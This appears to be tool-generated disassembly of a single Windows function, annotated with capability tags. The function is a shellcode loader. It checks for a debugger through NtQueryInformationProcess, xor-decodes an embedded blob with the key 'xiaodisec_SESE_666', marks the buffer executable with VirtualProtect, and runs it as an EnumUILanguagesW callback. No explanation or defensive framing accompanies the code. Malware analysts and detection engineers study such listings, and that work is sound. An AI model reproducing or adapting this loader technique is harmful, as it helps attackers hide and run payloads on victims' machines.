Function at 0x140001300
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x670]
sub rsp, 0x770
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rbp + 0x660], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtQueryInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
xor r14d, r14d
mov qword [rsp + 0x38], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov qword [rsp + 0x20], r14
lea r9d, [r14 + 8]
lea r8, [rsp + 0x38]
lea edx, [r14 + 7]
call rbx
xor r9d, r9d
xor ecx, ecx
cmp qword [rsp + 0x38], r14
je 0x14000139f
lea r8, str.Find_Debugger
lea rdx, str.Find_debugger
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x1400015f5
lea r8, str.No_Debugger
lea rdx, str.Not_debugger
call qword [sym.imp.USER32.dll_MessageBoxW]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], r14b
mov r8d, 8
lea rcx, [rsp + 0x40]
call fcn.1400026d0
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.1400022b0
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
mov ebx, dword [rsp + rcx + 0x70]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x5c], edx
lea rcx, [rsp + 0x70]
call fcn.1400021d0
lea rcx, [rsp + 0x78]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x10]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140001495
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001490
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001490
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b7c
test ebx, ebx
jne 0x1400015f5
lea rdx, [rbp + 0x2e0]
lea rax, [0x140004590]
lea ecx, [rbx + 6]
nop
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rcx, 1
jne 0x1400014b0
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
mov rcx, qword [rax + 0x70]
mov qword [rdx + 0x70], rcx
mov ecx, dword [rax + 0x78]
mov dword [rdx + 0x78], ecx
movzx ecx, word [rax + 0x7c]
mov word [rdx + 0x7c], cx
movzx ecx, byte [rax + 0x7e]
mov byte [rdx + 0x7e], cl
movups xmm0, xmmword [str.xiaodisec_SESE_666]
movups xmmword [rsp + 0x40], xmm0
mov eax, dword [0x140004920]
mov dword [rsp + 0x50], eax
lea rax, [rsp + 0x40]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001577
mov edi, r14d
mov rsi, r14
nop word [rax + rax]
mov eax, edi
cdq
idiv ebx
movsxd rax, edx
movzx ecx, byte [rsp + rax + 0x40]
xor cl, byte [rbp + rsi + 0x2e0]
movzx edx, cl
mov byte [rsp + rsi + 0x60], dl
lea rcx, str.x_x
call fcn.140001020
inc edi
lea rsi, [rsi + 1]
cmp edi, 0x37f
jb 0x140001590
mov dword [rsp + 0x30], r14d
lea r9, [rsp + 0x30]
mov edx, 0x37f
mov r8d, 0x40
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_EnumUILanguagesW]
xor eax, eax
mov rcx, qword [rbp + 0x660]
xor rcx, rsp
call fcn.140002b20
lea r11, [rsp + 0x770]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret